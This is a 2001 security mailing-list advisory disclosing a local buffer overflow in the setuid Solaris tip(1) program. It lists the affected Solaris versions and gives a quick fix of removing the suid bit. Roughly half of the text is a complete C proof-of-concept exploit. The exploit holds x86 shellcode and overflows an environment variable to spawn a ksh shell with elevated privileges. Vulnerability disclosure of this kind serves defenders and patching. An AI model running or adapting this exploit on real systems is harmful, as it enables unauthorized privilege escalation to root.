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Solaris /usr/bin/tip Vulnerability
From: Pablo Sor <psor () AFIP GOV AR>
Date: Tue, 27 Mar 2001 07:54:42 -0400
Vulnerability in Solaris tip(1) Date Published: March 27, 2001 Advisory ID: N/A Bugtraq ID: N/A CVE CAN: Non currently assigned. Title: Solaris tip(1) Buffer Overflow Vulnerability Class: Boundary Error Condition Remotely Exploitable: No Locally Exploitable: Yes Vulnerability Description: The tip program is installed setuid uucp by default in Solaris, it contains a vulnerability in handling data from enviroment variables, if this variable exceeds predefined lenght an exploitable stack overflow can occur. Through exploiting this vulnerability an attacker can gain effective uid uucp and through that root. Vulnerable Packages/Systems: Solaris 8 Solaris 7 Solaris 2.6 Solaris 2.5.1 Solaris 2.5 Quick Fix: Clear the suid bit of /usr/bin/tip program. Solution/Vendor : Sun Microsystems was notified on March 16, 2001. Patches are excepted shortly. Vendor notified on: March 16, 2001 Credits: This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina. Special thanks to Dave Ahmed from SecurityFocus. This advisory was drafted with the help of the SecurityFocus.com Vulnerability Help Team. For more information or assistance drafting advisories please mail vulnhelp () securityfocus com. Technical Description - Exploit/Concept Code: #include <fcntl.h> /* /usr/bin/tip overflow proof of conecpt. Pablo Sor, Buenos Aires, Argentina 03/2001 psor () afip gov ar works against x86 solaris 7,8 default offset should work. */ long get_esp() { __asm__("movl %esp,%eax"); } int main(int ac, char **av) { char shell[]= "\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05" "\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2" "\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff" "\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14" "\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18" "\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02" "\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; unsigned long magic = get_esp() + 0x50; /* default offset */ unsigned char buf[600]; symlink("/bin/ksh","/tmp/xx"); memset(buf,0x90,600); buf[599]=0; memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell)); memcpy(buf,"HOME=",5); memcpy(buf+265,&magic,4); putenv(buf); system("/usr/bin/tip 5"); unlink("/tmp/xx"); }
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- Solaris /usr/bin/tip Vulnerability Pablo Sor (Mar 27)